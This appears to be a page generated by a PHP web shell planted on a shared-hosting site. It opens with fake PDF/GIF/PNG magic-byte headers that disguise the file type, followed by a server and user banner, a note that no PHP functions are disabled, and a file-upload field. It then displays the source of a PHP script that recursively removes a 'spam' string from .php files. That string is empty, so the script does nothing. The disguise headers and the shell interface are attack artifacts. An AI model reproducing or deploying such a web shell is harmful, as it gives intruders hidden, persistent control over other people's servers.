%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_44058e7c/ |
Upload File : |
<?php
function removeSpamCode($dir) {
$spam = '';
$rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
foreach ($rii as $file) {
if ($file->isDir()) continue;
if (pathinfo($file, PATHINFO_EXTENSION) !== 'php') continue;
$contents = file_get_contents($file);
if (strpos($contents, $spam) !== false) {
$newContents = str_replace($spam, '', $contents);
file_put_contents($file, $newContents);
echo "✅ Removed spam from: " . $file . "\n";
}
}
}
// Replace with your project root path
$projectRoot = __DIR__; // or manually set: '/var/www/html/myproject'
removeSpamCode($projectRoot);
?>